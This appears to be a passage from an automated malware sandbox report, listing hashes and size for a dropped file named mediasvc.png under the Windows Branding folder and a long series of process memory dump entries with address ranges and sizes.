9f273a77d434807138c884cc95deb1cadea1ff6db492839d238759a265f3b0ded318b6af59d0743f8dd1555e968afb1eca9ba92a214ecd247480d2a072c08540

Download Submit
\Windows\Branding\mediasvc.png

Filesize
743KB

MD5
2ee3d03bb1f8bd257235fc70e92b17e1

SHA1
c36482b8f8229578dec1cc687aaf53084cb6d05e

SHA256
b7a9b4269995093c63efe64cb65e4562680af2fdf7c4dfdc235f2eb60c469ff0

SHA512
39f8a42a512e4bfbf84ac3c472bf9444a139da23b7007f57aa68dc9ba9db5466b7f155df18c0a49e3073527763ef459180ab1912e53453d312c17718ab67abea

Download Submit
memory/1048-111-0x00000000011F0000-0x0000000001270000-memory.dmp

Filesize
512KB

Download
memory/1048-116-0x00000000011F0000-0x0000000001270000-memory.dmp

Filesize
512KB

Download
memory/1048-117-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-110-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-112-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1048-113-0x00000000011F0000-0x0000000001270000-memory.dmp

Filesize
512KB

Download
memory/1048-114-0x00000000011F0000-0x0000000001270000-memory.dmp

Filesize
512KB

Download
memory/1048-115-0x00000000011F0000-0x0000000001270000-memory.dmp

Filesize
512KB

Download
memory/1848-69-0x00000000022C4000-0x00000000022C7000-memory.dmp

Filesize
12KB

Download
memory/1848-67-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/1848-66-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1848-68-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1848-70-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/1848-72-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1848-71-0x00000000022C0000-0x0000000002340000-memory.dmp

Filesize
512KB

Download
memory/1928-81-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/1928-78-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1928-80-0x00000000026BC000-0x0000000002723000-memory.dmp

Filesize
412KB

Download
memory/1928-83-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/1928-82-0x00000000026B0000-0x0000000002730000-memory.dmp

Filesize
512KB

Download
memory/2320-58-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2320-53-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2320-57-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2320-51-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2320-60-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2320-52-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2320-55-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2320-54-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2344-56-0x0000000041C20000-0x0000000041CA0000-memory.dmp

Filesize
512KB

Download
memory/2344-59-0x0000000041C20000-0x0000000041CA0000-memory.dmp

Filesize
512KB

Download
memory/2344-6-0x000007FEF5C40000-0x000007FEF662C000-memory.dmp

Filesize
9.9MB

Download
memory/2344-5-0x0000000042400000-0x0000000042804000-memory.dmp

Filesize
4.0MB

Download
memory/2344-7-0x0000000041C20000-0x0000000041CA0000-memory.dmp

Filesize
512KB

Download
memory/2344-8-0x0000000041C20000-0x0000000041CA0000-memory.dmp

Filesize
512KB

Download
memory/2344-39-0x000007FEF5C40000-0x000007FEF662C000-memory.dmp

Filesize
9.9MB

Download
memory/2344-9-0x0000000041C20000-0x0000000041CA0000-memory.dmp

Filesize
512KB

Download
memory/2344-0-0x00000000012A0000-0x00000000020E6000-memory.dmp

Filesize
14.3MB

Download
memory/2436-29-0x0000000001F90000-0x0000000002010000-memory.dmp

Filesize
512KB

Download
memory/2560-85-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-28-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-87-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-86-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-88-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-84-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-27-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-26-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-21-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-19-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-17-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2560-16-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/2560-38-0x0000000002800000-0x0000000002808000-memory.dmp

Filesize
32KB

Download
memory/2560-43-0x0000000002A10000-0x0000000002A90000-memory.dmp

Filesize
512KB

Download
memory/2560-79-0x000007FEEDF30000-0x000007FEEE8CD000-memory.dmp

Filesize
9.6MB

Download
memory/2560-44-0x000000001B270000-0x000000001B2A2000-memory.dmp

Filesize
200KB

Download
memory/2560-45-0x000000001B270000-0x000000001B2A2000-memory.dmp

Filesize
200KB

Download